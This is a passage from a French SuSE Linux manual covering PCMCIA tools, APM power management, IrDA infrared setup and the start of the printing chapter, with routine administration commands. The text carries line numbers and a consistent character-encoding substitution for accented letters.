  21000. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  21001.  *_______________________________________@
  21002.  
  21003.  
  21004.  
  21005.                            options de la page de man de i82365      (man  i82365        ) peuvent Ωtre envisagΘes,
  21006.                            α moins que l'on prΘfΦre se familiariser avec le code source du module : : :
  21007.  
  21008.                            Voici  un  problΦme  que  l'on  rencontre  parfois  avec  les  cartes  rΘseau  de
  21009.                            10/100 Mbits : Le mode de transfert n'est pas reconnu automatiquement de
  21010.                            faτon correcte. On peut remΘdier α ce problΦme avec la commande ifport      .
  21011.                            Elle  affiche  le  mode  de  transfert  configurΘ  et  permet  de  le  modifier.  Le
  21012.                            paramΦtre  appropriΘ  peut  Ωtre  insΘrΘ  dans  la  variable  IFPORT       du  fichier
  21013.                            /etc/pcmcia/network.opts.
  21014.  
  21015.  
  21016.                            11.1.6       Installation via PCMCIA
  21017.  
  21018.                            Dans certains cas, PCMCIA est dΘjα nΘcessaire pour l'installation de SuSE
  21019.                            Linux. Pour pouvoir en disposer, vous devez sΘlectionner, dans linuxrc , sous
  21020.                            `Modules  du  noyau  (pilote  matΘriel)', l'option `Chargement  des
  21021.                            modules  PCMCIA'. Il apparaεt tout d'abord deux champs d'entrΘe dans les-
  21022.                            quels vous pouvez spΘcifier des options pour les modules pcmcia_core et
  21023.                            i82365. Mais normalement ces champs restent vides. Les pages de manuel
  21024.                            pour pcmcia_core et i82365 se trouvent, sous forme de fichiers texte sur le
  21025.                            premier CD dans le rΘpertoire docu. Au cours de l'installation, des messages
  21026.                            du systΦme sont affichΘs_sur diffΘrentes_consoles virtuelles entre lesquelles on
  21027.                            peut basculer avec |A____l|t+ |F_______<|x>.4
  21028.  
  21029.                            Lorsque la premiΦre partie de l'installation est achevΘe, le systΦme est redΘ-
  21030.                            marrΘ, soit partiellement soit intΘgralement. Dans quelques rares cas, il peut
  21031.                            arriver que le systΦme se plante au dΘmarrage de PCMCIA. └ ce moment,
  21032.                            l'installation est toutefois suffisamment avancΘe pour qu'il soit possible, avec
  21033.                            l'option NOPCMCIA=yes           , de lancer Linux sans PCMCIA, du moins en mode
  21034.                            texte. Le paragraphe 11.1.5 page 323 apporte ici une aide.
  21035.  
  21036.  
  21037.                            11.1.7       Autres programmes utilitaires
  21038.  
  21039.                            Le programme cardctl a dΘjα ΘtΘ ΘvoquΘ ici plusieurs fois. cardctl est un outil
  21040.                            fondamental  qui  permet  d'obtenir  des  informations  de  PCMCIA  ou  d'exΘ-
  21041.                            cuter  certaines  actions.  Vous  trouverez  des  dΘtails  dans  la  page  de  man  de
  21042.                            cardctl        (man  cardctl         ).  Mais  vous  pouvez  aussi  entrer  tout  simplement
  21043.                            cardctl        afin d'obtenir une liste des commandes valides.
  21044.  
  21045.                            Il  existe  aussi  pour  ce  programme  un  frontal  graphique  cardinfo        (voir  la
  21046.                            figure 11.1 page suivante) avec lequel on peut contr⌠ler les choses les plus
  21047.                            importantes.  Mais  il  ne  permet  malheureusement  pas  de  basculer  entre  les
  21048.                            ``schΘmas''.
  21049.  
  21050.                            Il  existe  aussi  un  kardinfo  pour  les  amis  de  KDE.  Cet  outil  n'est  pas  trΦs
  21051.                            diffΘrent de cardinfo       , c'est seulement la version ``K''.
  21052.  
  21053.                            D'autres utilitaires contenus dans le paquetage pcmcia sont ifport     , ifuser     ,
  21054.                            probe      et  rcpcmcia       .  Ils  ne  sont  cependant  pas  nΘcessaires  pour  le  travail
  21055.                            quotidien.  Pour  voir  tout  ce  que  contient  le  paquetage  pcmcia,  utilisez  la
  21056.                            commande rpm  -ql  pcmcia           .
  21057.                            _____________________________________________
  21058.                            4  Dans YaST2 , on doit utiliser |C______|_trl+ |A_____|lt+ |F________|<x>car YaST2  tourne sous le syst*
  21059.  *Φme
  21060.                            X Window.
  21061.  
  21062.  
  21063. 326
  21064.        ___________________________________________________________________________________11.2.__APM_~_Gestion_d'Θnergie___________*
  21065.  *______________________
  21066.  
  21067.  
  21068.                                  Fig. 11.1: PCMCIA ~ Cardinfo
  21069.  
  21070.  
  21071.  
  21072. 11.2        APM ~ Gestion d'Θnergie
  21073.  
  21074.  
  21075. 11.2.1       Principes de base
  21076.  
  21077. La gestion de l'Θnergie requiert un matΘriel prΘvu pour cet usage et des rou-
  21078. tines de BIOS adΘquates. La plupart des notebooks et de nombreux ordina-
  21079. teurs de bureau modernes remplissent ces conditions ~ diffΘrentes fonctions
  21080. d'Θconomie d'Θnergie n'entrent cependant en jeu qu'en cas d'utilisation mo-
  21081. bile de l'ordinateur. Nous allons maintenant dΘcrire ces fonctions :
  21082.  
  21083. Standby        ~ Dans ce mode, seul l'affichage est dΘsactivΘ et, sur certaines ma-
  21084.       chines, la performance du processeur est rΘduite.
  21085.  
  21086. Suspend (to memory)                ~  L'Θtat  complet  du  systΦme  est  enregistrΘ  dans  la
  21087.       mΘmoire de travail et l'ensemble du systΦme est mis au repos. Dans cet
  21088.       Θtat, l'ordinateur n'a besoin que de trΦs peu d'Θnergie et la batterie peut
  21089.       couvrir,  selon  la  machine,  une  pΘriode  allant  de  12  heures  α  plusieurs
  21090.       jours. L'avantage de ce mode est qu'il est possible, en quelques secondes,
  21091.       de reprendre le travail au mΩme endroit sans avoir α rΘamorcer ni α re-
  21092.       charger les programmes nΘcessaires. ~ C'est ici que la mise en oeuvre de
  21093.       Linux se rΘvΦle attrayante car il n'est en fait jamais nΘcessaire d'arrΩter
  21094.       le systΦme (certains systΦmes d'exploitation deviennent instables avec le
  21095.       temps). Avec la plupart des machines modernes, il suffit de fermer le cou-
  21096.       vert  pour  suspendre  le  systΦme  et  de  l'ouvrir  de  nouveau  pour  pouvoir
  21097.       continuer immΘdiatement.
  21098.  
  21099. Hibernation (Suspend to disk)                    ~ Dans ce mode, l'ordinateur peut subsister
  21100.       jusqu'α la saison nouvelle :-)  Avant que le systΦme ne soit dΘsactivΘ, son
  21101.       Θtat est en effet entiΦrement enregistrΘ sur le disque dur. La sortie d'hiber-
  21102.       nation  dure  de  30  α  90  secondes  et  ici  aussi  on  retrouve  le  systΦme  tel
  21103.       qu'il Θtait avant la suspension. Quelques constructeurs offrent des formes
  21104.       mixtes intΘressantes.
  21105.  
  21106. Contr⌠le de l'Θtat des accumulateurs                       ~ IntΘressant.
  21107.  
  21108. ArrΩt automatique              ~ IntΘressant aussi pour ordinateurs de bureau. AprΦs un
  21109.       ``shutdown'', la machine est complΦtement arrΩtΘe.
  21110.  
  21111.  
  21112.                                                                                                                                    *
  21113.  *   327
  21114. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  21115.  *_______________________________________@
  21116.  
  21117.  
  21118.  
  21119.                            DΘsactivation du disque dur                  ~  ╔pargne  pas  mal  d'Θnergie  et  mΘnage  les
  21120.                                  nerfs  lorsque  le  disque  dur  est  bruyant.  Cette  fonction  est  toutefois  dΘ-
  21121.                                  pendante  d'autres  facteurs  et  un  Θditeur  qui  effectue  rΘguliΦrement  des
  21122.                                  sauvegardes automatiques rΘveille continuellement le disque.
  21123.  
  21124.                            Le BIOS exΘcute seul quelques unes des ces fonctions. Standby et Suspend
  21125.                            peuvent  Ωtre  activΘs  sur  un  grand  nombre  de  notebooks  par  des  combinai-
  21126.                            sons  de  touches  ou  par  la  fermeture  du  couvercle.  Pour  cela,  aucune  fonc-
  21127.                            tion n'est requise du systΦme d'exploitation. Mais si vous voulez activer ces
  21128.                            modes par commande ou s'il est indispensable que certaines actions soient
  21129.                            exΘcutΘes avant la suspension, vous devez installer les paquetages appropriΘs
  21130.                            ainsi qu'un noyau adΘquat.
  21131.  
  21132.  
  21133.                            11.2.2       Le noyau adΘquat
  21134.  
  21135.                            Pour une fonctionnalitΘ APM Θtendue, il vous faut un noyau contenant un sup-
  21136.                            port APM. L'un des noyaux standards SuSE    , qui peuvent Ωtre installΘs avec
  21137.                            YaST , remplit cette condition. Il est trΦs facile de le vΘrifier avec la commande
  21138.                            cat  /proc/apm           . S'il apparaεt ici une ligne avec des nombres divers, tout est
  21139.                            pour le mieux. Vous devriez maintenant utiliser shutdown  -h           pour arrΩter
  21140.                            votre machine. Certaines implΘmentations de BIOS n'Θtant pas exactement
  21141.                            conformes aux standards, on remarque parfois des comportements Θtranges.
  21142.                            Il est possible de contourner certains problΦmes par des configurations spΘ-
  21143.                            ciales du noyau. Vous trouverez des informations α ce sujet dans notre base de
  21144.                            donnΘes support http://sdb.suse.de/sdb/fr/html/ ou dans la ``Linux
  21145.                            Laptop Homepage'' sous http://www.cs.utexas.edu/users/kharker/
  21146.                            linux-laptop.
  21147.  
  21148.  
  21149.                            11.2.3       Le dΘmon APM
  21150.  
  21151.                            Le +  dΘmon apmd est utilisΘ pour la surveillance de la batterie et peut dΘclen-
  21152.                            cher certaines actions lorsqu'il se produit un ``standby'' ou un ``suspend''. Vous
  21153.                            le trouverez dans le paquetage apmd, sΘrie ap. Il n'est pas absolument indis-
  21154.                            pensable pour le fonctionnement du systΦme mais il peut s'avΘrer trΦs utile.
  21155.                            Pour qu'il puisse Ωtre lancΘ automatiquement lors de l'amorτage, la variable
  21156.                            START_APMD           doit Ωtre positionnΘe α yes    dans le fichier /etc/rc.config.
  21157.                            Mais il peut toujours aussi Ωtre lancΘ manuellement avec rcapmd  start          .
  21158.  
  21159.                            Pour la configuration, il existe quelques variables dans /etc/rc.config.d/
  21160.                            apmd.rc.config. Ce fichier contient des commentaires, c'est pourquoi nous
  21161.                            ne donnerons ici que quelques informations.
  21162.  
  21163.                              ~   Dans  SuSE     Linux,  PCMCIA  est  compilΘ  sans  support  APM.  Ceux  qui
  21164.                                  n'ont pas envie de recompiler le paquetage PCMCIA peuvent positionner
  21165.                                  la  variable  PCMCIA_SUSPEND_ON_SUSPEND                        α  yes  .  Certaines  cartes  ne
  21166.                                  fonctionnent  pas  aprΦs  une  suspension.  Dans  ce  cas,  on  a  recours  α  la
  21167.                                  mΘthode forte PCMCIA_EJECT_ON_SUSPEND=yes                         .
  21168.  
  21169.                              ~   Si aprΦs une suspension l'heure n'est plus exacte, on positionne la variable
  21170.                                  SET_CLOCK_ON_RESUME                  α yes   .
  21171.  
  21172.                              ~   Si le systΦme X Window pose des problΦmes α l'Θveil du systΦme, on peut
  21173.                                  y remΘdier avec LEAVE_X_BEFORE_SUSPEND=yes                        .
  21174.  
  21175.  
  21176. 328
  21177.        ___________________________________________________________________________________11.2.__APM_~_Gestion_d'Θnergie___________*
  21178.  *______________________
  21179.  
  21180.  
  21181.  
  21182. Le  comportement  d'arrΩt  du  disque  dur  (``spindown'')  peut  en  outre  Ωtre
  21183. adaptΘ au fonctionnement sur batterie ou sur secteur et le systΦme peut Ωtre
  21184. arrΩtΘ automatiquement dΦs que le niveau de charge de la batterie commence
  21185. α devenir critique. Les utilisateurs expΘrimentΘs peuvent insΘrer eux-mΩmes
  21186. d'autres fonctions dans le fichier /usr/sbin/apmd_proxy.
  21187.  
  21188.  
  21189. 11.2.4       Autres commandes
  21190.  
  21191. Le paquetage apmd contient encore quelques programmes utiles. Avec apm   ,
  21192. vous pouvez vous informer sur la charge actuelle de la batterie et mettre le
  21193. systΦme en mode Standby (apm  -S     ) ou Suspend (apm  -s     ). Voir la page de
  21194. man de apm    (man  apm      ).
  21195.  
  21196. La commande apmsleep         suspend le systΦme pour un temps dΘterminΘ. Voir
  21197. la page de man de apmsleep        (man  apmsleep          ).
  21198.  
  21199. Si vous voulez voir un fichier de trace (log) sans que votre disque dur soit
  21200. continuellement en fonctionnement, vous pouvez utiliser tailf      α la place de
  21201. tail  -f
  21202.  
  21203. Il existe bien s√r aussi des outils pour le systΦme X Window. Dans le paque-
  21204. tage apmd, on trouve Θgalement xapm    qui affiche en mode graphique le niveau
  21205. de charge de la batterie. Ceux qui utilisent le bureau KDE ~ ou au moins kpa-
  21206. nel  ~ peuvent aussi, avec kbatmon , obtenir l'affichage du niveau de charge
  21207. de l'accumulateur et suspendre son systΦme.
  21208.  
  21209.  
  21210. 11.2.5       Une pause pour le disque dur
  21211.  
  21212. Il  est  possible,  sous  Linux,  de  dΘsactiver  le  disque  dur  si  l'on  n'a  plus  be-
  21213. soin de ses services. On utilise α cette fin le programme hdparm  avec lequel
  21214. on  peut  rΘgler  diffΘrents  paramΦtres  des  disques  durs.  Avec  l'option  -y ,  le
  21215. disque  est  mis  immΘdiatement  en  mode  Standby,  avec  -Y ,  il  est  complΦte-
  21216. ment dΘsactivΘ. Avec hdparm  -S  6        , on obtient un arrΩt du disque aprΦs une
  21217. pΘriode d'inactivitΘ de 30 secondes. Le chiffre 6 reprΘsente ici 6   5 = 30 se-
  21218. condes, la valeur 0  dΘsactive cette fonction. Si les valeurs sont plus ΘlevΘes,
  21219. le multiplicateur est aussi plus grand. Vous trouverez des prΘcisions α ce sujet
  21220. dans la page de manuel.
  21221.  
  21222. Si vous voulez que ce comportement Standby soit adaptΘ α un fonctionnement
  21223. sur batterie ou sur secteur, vous pouvez faire les configurations nΘcessaires
  21224. dans /etc/rc.config.d/apmd.rc.config. La variable CHECK_TIME           de-
  21225. vrait alors Ωtre positionnΘe α 0 .
  21226.  
  21227. Mais on a malheureusement souvent besoin du disque et il est ainsi constam-
  21228. ment  rΘveillΘ.  Les  responsables  sont  parfois  des  programmes  (par  exemple
  21229. Θditeurs de texte) qui sauvegardent rΘguliΦrement leurs donnΘes sur le disque
  21230. dur.  Certaines  commandes,  telles  que  tail  -f  <logfile>                maintiennent
  21231. aussi le disque en fonctionnement mais on peut remplacer cette commande
  21232. par tailf  <logfile>               . MΩme en l'absence de tels programmes, le disque
  21233. ne reste pas toujours au repos car il existe un processus qui le dΘrange rΘgu-
  21234. liΦrement dans son juste sommeil. Il faut en effet savoir que sous Linux les
  21235. donnΘes  ne  sont  jamais  Θcrites  directement  sur  le  disque  mais  tout  d'abord
  21236. dans des tampons que le noyau tient α disposition et qui permettent d'accΘlΘ-
  21237. rer les opΘrations d'Θcriture. Pour Θviter toute perte de donnΘes, un dΘmon de
  21238.  
  21239.  
  21240.                                                                                                                                    *
  21241.  *   329
  21242. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  21243.  *_______________________________________@
  21244.  
  21245.  
  21246.  
  21247.                            mise α jour s'occupe, α des intervalles de temps prΘdΘfinis, d'assurer la syn-
  21248.                            chronisation du disque et des tampons en Θcrivant les donnΘes sur le disque.
  21249.                            Depuis la version 2.2.11, ce dΘmon fait partie intΘgrante du noyau et ne peut
  21250.                            plus par consΘquent Ωtre dΘsactivΘ comme auparavant ni Ωtre remplacΘ par le
  21251.                            ``dΘmon de mise α jour mobile''. On peut malgrΘ influer sur son comportement
  21252.                            par le biais du systΦme de fichiers /proc. La commande
  21253.  
  21254.                            terre:  #  cat  /proc/sys/vm/bdflush
  21255.  
  21256.                            affiche les paramΦtres actuels et avec
  21257.                            terre:  #  echo  "60  500  64  256  6000  60000  3000  1884  2"  \
  21258.                                             >  /proc/sys/vm/bdflush
  21259.  
  21260.  
  21261.                            de nouveau paramΦtres sont dΘfinis. Si vous souhaitez effectuer ces modifi-
  21262.                            cations, vous devriez rechercher dans /usr/src/linux/Documentation/
  21263.                            proc.txt la signification des diffΘrents nombres. Avec sync    , vous pouvez
  21264.                            synchroniser le disque dur α la main.
  21265.  
  21266.  
  21267.                            11.3        IrDA ~ Infrared Data Association
  21268.  
  21269.                            IrDA  (Infrared  Data  Association)  est  un  standard  industriel  pour  commu-
  21270.                            nication  sans  cΓble  au  moyen  de  lumiΦre  infrarouge.  De  nombreux  laptops
  21271.                            sont aujourd'hui dotΘs d'un rΘcepteur/Θmetteur compatible IrDA qui permet
  21272.                            la communication avec d'autres pΘriphΘriques tels qu'imprimantes, modems,
  21273.                            LAN ou d'autres laptops. Le taux de transmission varie de 2400 bps α 4 Mbps.
  21274.                            ________________________________________________________________________________________________________*
  21275.  *________||
  21276.  
  21277.                            |  Le support pour ce protocole dans le noyau Linux est encore en cours de                              *
  21278.  *        ||||
  21279.                            |  dΘveloppement.  Cette  fonctionnalitΘ  considΘrΘe  comme  ``expΘrimentale''                          *
  21280.  *        |||
  21281.                            |                                                                                                       *
  21282.  *        |||
  21283.                            |  (stade bΩta) n'est donc pas intΘgrΘe dans les noyaux standards. Cela signifie                        *
  21284.  *        |||
  21285.                            |  que ce ``tout jeune'' pilote n'a pas ΘtΘ testΘ α fond et peut se rΘvΘler moins                       *
  21286.  *        |||
  21287.                            |                                                                                                       *
  21288.  *        |||
  21289.                            |  stable que d'autres composants du noyau.                                                             *
  21290.  *        |||
  21291.                            |_______________________________________________________________________________________________________*
  21292.  *________|||_
  21293.  
  21294.                            Logiciels
  21295.  
  21296.                            Le paquetage irda offre un support pour l'interface infrarouge et le protocole
  21297.                            IrDA. AprΦs installation du paquetage, vous trouverez la documentation sous
  21298.                            /usr/doc/packages/irda/README.
  21299.  
  21300.                            Le IR-HOWTO est installΘ α partir du paquetage howto. Vous le trouverez aprΦs
  21301.                            l'installation  sous  /usr/doc/howto/en/IR-HOWTO.gz.  Des  informations
  21302.                            complΘmentaires  sur  le  projet  IrDA  Linux  vous  sont  fournies  sous  http:
  21303.                            //www.cs.uit.no/linux-irda.
  21304.  
  21305.  
  21306.                            Configuration
  21307.  
  21308.                            Lors   de   l'installation,   ce   paquetage   insΦre   les   variables   START_IRDA         ,
  21309.                            IRDA_PORT          et  IRDA_IRQ         dans  le  fichier  /etc/rc.config.  Par  dΘfaut,
  21310.                            IrDA est dΘsactivΘ, mais avec la commande
  21311.  
  21312.                                  terre:  #  rcirda  start
  21313.  
  21314.                            vous pouvez α tout moment activer manuellement l'interface ou la dΘsactiver
  21315.                            (avec  le  paramΦtre  stop   ).  Lorsque  l'interface  est  activΘe,  les  modules  du
  21316.                            noyau nΘcessaires sont automatiquement chargΘs.
  21317.  
  21318.  
  21319. 330
  21320.        ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
  21321.  *______________________
  21322.  
  21323.  
  21324.  
  21325. Avec  IRDA`PORT  (par  dΘfaut  /dev/ttyS1         )  et  IRDA_IRQ        (valeur  par  dΘ-
  21326. faut 3 ), vous pouvez configurer l'interface utilisΘe pour IrDA. Ceci est dΘter-
  21327. minΘ au moyen du script /etc/irda/drivers lors de l'activation du support
  21328. infrarouge.
  21329.  
  21330. Si vous positionnez START`IRDA α yes   , le support de l'interface infrarouge
  21331. est disponible immΘdiatement aprΦs l'amorτage. Malheureusement IrDA re-
  21332. quiert  nettement  plus  de  courant  (de  batterie)  car  un  paquet  ``Discovery''
  21333. est  envoyΘ  toutes  les  quelques  secondes  pour  reconnaεtre  automatiquement
  21334. d'autres pΘriphΘriques.
  21335.  
  21336.  
  21337.  
  21338. Utilisation
  21339.  
  21340. Si  l'on  veut  par  exemple  imprimer  par  infrarouge,  il  est  possible  de  trans-
  21341. mettre les donnΘes par le biais du fichier de pΘriphΘrique /dev/irlpt0. Le
  21342. fichier de pΘriphΘrique /dev/irlpt0 se comporte de la mΩme maniΦre que
  21343. l'interface normale /dev/lp0 α cette diffΘrence prΦs que les donnΘes d'im-
  21344. pression sont transmises sans cΓble par lumiΦre infrarouge
  21345.  
  21346. Une imprimante utilisΘe α l'aide d'une interface infrarouge peut Ωtre mise en
  21347. place avec YaST  comme une imprimante sur port parallΦle ou sur port sΘrie
  21348. (voir paragraphe 3.6.1 page 101). Lorsque vous imprimez, veillez α ce que
  21349. l'imprimante se trouve dans le champ de vision de l'interface infrarouge de
  21350. l'ordinateur et que le support infrarouge soit activΘ.
  21351.  
  21352. Si l'on veut communiquer α travers une interface infrarouge avec d'autres ma-
  21353. chines ou par exemple avec des tΘlΘphones cellulaires ou autres appareils si-
  21354. milaires, ceci peut se faire α l'aide du fichier de pΘriphΘrique /dev/ircomm0.
  21355. Avec le S25 de Siemens, par exemple, il est possible de se connecter α Internet
  21356. sans cΓble et par infrarouge α l'aide du programme wvdial .
  21357.  
  21358.  
  21359.  
  21360. RΘsolution de problΦmes
  21361.  
  21362. Dans le cas o∙ les pΘriphΘriques ne rΘagiraient pas α l'infrarouge, vous pouvez
  21363. contr⌠ler, en lanτant la commande irdadump         en tant qu'utilisateur `root',
  21364. si l'autre pΘriphΘrique est reconnu par l'ordinateur :
  21365.  
  21366.       terre:  #  irdadump
  21367.  
  21368. Avec une imprimante Canon BJC-80 dans le ``champ de vision'' de la machine
  21369. terre,  il  apparaεt  une  sortie  semblable  α  celle  ci-dessous  qui  se  rΘpΦte  α
  21370. intervalles rΘguliers (voir affichage 11.3.1 page suivante).
  21371.  
  21372. Si  aucune  sortie  n'apparaεt  ou  si  l'autre  pΘriphΘrique  ne  rΘpond  pas,  vΘri-
  21373. fiez  la  configuration  de  l'interface.  ╩tes-vous  s√r  d'utiliser  l'interface  qui
  21374. convient ?  Quelquefois  l'interface  infrarouge  se  trouve  aussi  sous  /dev/
  21375. ttyS2 ou /dev/ttyS3 ou bien une interruption autre que l'interruption 3 est
  21376. utilisΘe. Vous pouvez configurer ces paramΦtres pour presque tous les laptops
  21377. dans le Setup du BIOS.
  21378.  
  21379. Notez  aussi  que  vous  ne  pouvez  accΘder  sans  problΦme  qu'α  des  pΘriphΘ-
  21380. riques  qui  supportent  les  protocoles  Printer        ou  IrCOMM     .  Avec  des  pro-
  21381. grammes spΘciaux (irobex_palm3           , irobex_receive              (voyez la description
  21382. dans IR-HOWTO), vous pouvez aussi accΘder α des pΘriphΘriques qui utilisent
  21383.  
  21384.  
  21385.                                                                                                                                    *
  21386.  *   331
  21387. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  21388.  *_______________________________________@
  21389.  
  21390.                            ________________________________________________________________________________________________________*
  21391.  *________||
  21392.                            | 21:41:38.435239  xid:cmd  5b62bed5  >  ffffffff  S=6  s=0  (14)                                       *
  21393.  *         |
  21394.  
  21395.                            ||21:41:38.525167  xid:cmd  5b62bed5  >  ffffffff  S=6  s=1  (14)                                       *
  21396.  *         ||
  21397.                            | 21:41:38.615159  xid:cmd  5b62bed5  >  ffffffff  S=6  s=2  (14)                                       *
  21398.  *         |
  21399.                            | 21:41:38.705178  xid:cmd  5b62bed5  >  ffffffff  S=6  s=3  (14)                                       *
  21400.  *         |
  21401.                            |                                                                                                       *
  21402.  *         |
  21403.                            | 21:41:38.795198  xid:cmd  5b62bed5  >  ffffffff  S=6  s=4  (14)                                       *
  21404.  *         |
  21405.                            | 21:41:38.885163  xid:cmd  5b62bed5  >  ffffffff  S=6  s=5  (14)                                       *
  21406.  *         |
  21407.                            |                                                                                                       *
  21408.  *         |
  21409.                            | 21:41:38.965133  xid:rsp  5b62bed5  <  6cac38dc  S=6  s=5  BJC-80  \                                  *
  21410.  *         |
  21411.                            |                                          hint=8804  [  Printer  IrCOMM  ]  (23)                       *
  21412.  *         |
  21413.                            |                                                                                                       *
  21414.  *         |
  21415.                            | 21:41:38.975176  xid:cmd  5b62bed5  >  ffffffff  S=6  s=*  erde  \                                    *
  21416.  *         |
  21417.                            |                                          hint=0500  [  PnP  Computer  ]  (21)                         *
  21418.  *         |
  21419.                            |_______________________________________________________________________________________________________*
  21420.  *________ |
  21421.  
  21422.                                                    affichage α l'Θcran 11.3.1: IrDA : irdadump
  21423.  
  21424.  
  21425.  
  21426.                            le protocole IROBEX       (par exemple 3Com Palm Pilot). Les protocoles suppor-
  21427.                            tΘs par chaque pΘriphΘrique sont spΘcifiΘs entre crochets aprΦs les noms de
  21428.                            pΘriphΘriques  lors  de  la  sortie  de  irdadump       .  Le  support  pour  le  protocole
  21429.                            IrLAN      est en cours de dΘveloppement ~ il n'est malheureusement pas encore
  21430.                            stable  actuellement  mais  sera  sans  doute  dans  un  proche  avenir  disponible
  21431.                            sous Linux.
  21432.  
  21433.                            Avec  une  simple  camΘra  vidΘo,  vous  pouvez  aussi  contr⌠ler  si  les  diodes
  21434.                            infrarouges s'allument ~ contrairement α l'oeil humain, la plupart des camΘras
  21435.                            vidΘo peuvent ``voir'' la lumiΦre infrarouge.
  21436.  
  21437. 332
  21438.  
  21439.                                                                                                       Chapitre  12
  21440.                                                                                          L'impression
  21441.  
  21442.  
  21443. Dans  le  cadre  de  l'installation  avec  YaST ,  vous  avez  probablement  dΘjα
  21444. effectuΘ  votre  premiΦre  configuration  d'imprimante  sous  Linux  (voir  para-
  21445. graphe 3.6.1 page 101). Le prΘsent chapitre vous montre l'essentiel de ce qui
  21446. se passe ``dans les coulisses'' : il ne dΘcrit pas chaque dΘtail, mais il est suffi-
  21447. samment dΘtaillΘ pour que vous puissiez comprendre dans les grandes lignes
  21448. le dΘroulement du processus d'impression.
  21449.  
  21450.  
  21451.  
  21452. 12.1        Vue d'ensemble : Interfaces, files d'impression (spooling)
  21453.  
  21454.  
  21455. Les ports parallΦles
  21456.  
  21457. La connexion d'une imprimante α un systΦme Linux se fait en gΘnΘral sur port
  21458. parallΦle.
  21459.  
  21460. Il existe, depuis la version 2.2.xx du noyau, un sous-systΦme parport       auquel
  21461. on doit faire connaεtre les interfaces parallΦles en chargeant des pilotes sup-
  21462. plΘmentaires spΘcifiques α l'architecture du systΦme (voir paragraphe 10.4.3
  21463. page 307 et pages suivantes). Il est donc maintenant possible d'utiliser simul-
  21464. tanΘment plusieurs pΘriphΘriques en chaεne au moyen d'un port parallΦle. En
  21465. outre, la numΘrotation des fichiers de pΘriphΘriques commence maintenant,
  21466. de  faτon  standard,  par  /dev/lp0 !  Pour  qu'il  soit  possible  d'imprimer  en
  21467. utilisant le premier port parallΦle, les modules parport, parport_pc et lp
  21468. doivent Ωtre chargΘs dans le noyau standard de SuSE    . Cette tΓche est assumΘe,
  21469. en gΘnΘral automatiquement, par kmod  (angl. Kernel Module Loader) (voir
  21470. paragraphe 13.2 page 361) dΦs qu'une requΩte d'impression est envoyΘe. Si
  21471. le port parallΦle n'est pas dΘtectΘ, vous pouvez rΘsoudre ce problΦme en spΘ-
  21472. cifiant des paramΦtres du noyau.  Voir aussi la page 398.
  21473.  
  21474. Pour  tester  le  port  et  l'imprimante,  vous  pouvez,  avec  une  commande  telle
  21475. que
  21476.  
  21477.       terre:  #  echo  hello  >  /dev/lp0
  21478.  
  21479. ou
  21480.  
  21481.       terre:  #  cat  FICHIER_TEXTE  >/dev/lp0
  21482.  
  21483. transmettre directement des donnΘes au port, mais seulement sous le compte
  21484. `root' (+  administrateur systΦme). Pour une utilisation normale, cette pro-
  21485. cΘdure  est  parfaitement  inadΘquate  dans  un  systΦme  multitΓche  car  il  faut
  21486. s'attendre α ce que plusieurs processus veuillent se servir au mΩme moment
  21487. de l'imprimante, ce qui risque de provoquer un chaos Θpouvantable. Au lieu
  21488.  
  21489.  
  21490.                                                                                                                                    *
  21491.  *   333
  21492. 12.  L'impression _________________________________________________________________________________________________________________*
  21493.  *_______________________________________@
  21494.  
  21495.  
  21496.  
  21497.                            de cela, les travaux soumis α l'imprimante seront exΘcutΘs aprΦs avoir d'abord
  21498.                            ΘtΘ mis en attente dans une file d'impression (angl. queue).
  21499.                            Les  ports  fonctionnent  de  faτon  standard  en  mode  interrogation  (angl.  pol-
  21500.                            ling),  ce  qui  signifie  que  le  CPU  doit  leur  demander  rΘguliΦrement  si  un
  21501.                            transfert  de  donnΘes  doit  se  faire.  L'administrateur  systΦme  `root'  peut,
  21502.                            lors du chargement du systΦme parport        ou α l'aide du systΦme de fichiers
  21503.                            /proc, les convertir au mode interruption qui donne de meilleurs rΘsultats.
  21504.                            Il  peut  Θgalement,  avec  le  programme  tunelp ,  procΘder  α  d'autres  paramΘ-
  21505.                            trages  qui  permettront  d'accroεtre  la  performance.  Voir  la  page  de  man  de
  21506.                            tunelp       (man  tunelp        ) ainsi que, dans les sources du noyau, les documents
  21507.                            mentionnΘs au paragraphe 10.4.3 page 307 et pages suivantes. VΘrifiez toute-
  21508.                            fois auparavant le rΘglage des IRQ et du port sur le matΘriel d'interface. Ceci
  21509.                            se fait la plupart du temps dans le BIOS ou par des cavaliers (angl. jumpers) !
  21510.  
  21511.  
  21512.                            Spool, files d'impression
  21513.  
  21514.                            Sous Linux, tout comme sous d'autres systΦmes multitΓches, il est accΘdΘ aux
  21515.                            imprimantes par un mΘcanisme de spool (files d'impression). Cela signifie que
  21516.                            les travaux d'impression sont d'abord stockΘs dans des fichiers temporaires
  21517.                            et exΘcutΘs les uns aprΦs les autres sous le contr⌠le d'un programme de com-
  21518.                            mande (dΘmon). Plusieurs utilisateurs peuvent ainsi soumettre simultanΘment
  21519.                            des travaux d'impression sans qu'il se produise de conflits. AprΦs avoir sou-
  21520.                            mis un travail d'impression, l'utilisateur peut continuer α travailler sans Ωtre
  21521.                            obligΘ d'attendre l'imprimante.
  21522.  
  21523.                            Un file d'impression est constituΘe par
  21524.  
  21525.                              ~   une entrΘe dans /etc/printcap, qui dΘfinit la file d'impression ;
  21526.  
  21527.                              ~   un  rΘpertoire,  situΘ  habituellement  sous  /var/spool/lpd,  dans  lequel
  21528.                                  un fichier de donnΘes et un fichier de contr⌠le sont prΘvus pour chaque
  21529.                                  travail d'impression.
  21530.  
  21531.                            Chaque file d'impression est prise en charge par une imprimante. Il est pos-
  21532.                            sible  de  crΘer  plusieurs  files  d'impression  pour  une  seule  et  mΩme  impri-
  21533.                            mante.
  21534.  
  21535.                            SuSE      Linux  inclut  le  systΦme  de  spool  BSD  de  l'University  of  California
  21536.                            at  Berkeley  dans  le  paquetage  lprold.  Il  a  ΘtΘ  expressΘment  conτu  pour
  21537.                            l'utilisation  en  rΘseau  et  requiert  la  configuration  et  la  mise  en  oeuvre  de
  21538.                            TCP/IP. Pour la configuration, cela ne fait pas grande diffΘrence que les files
  21539.                            d'impression  soient  installΘes  et  utilisΘes  sur  des  machines  locales  ou  des
  21540.                            machines distantes.
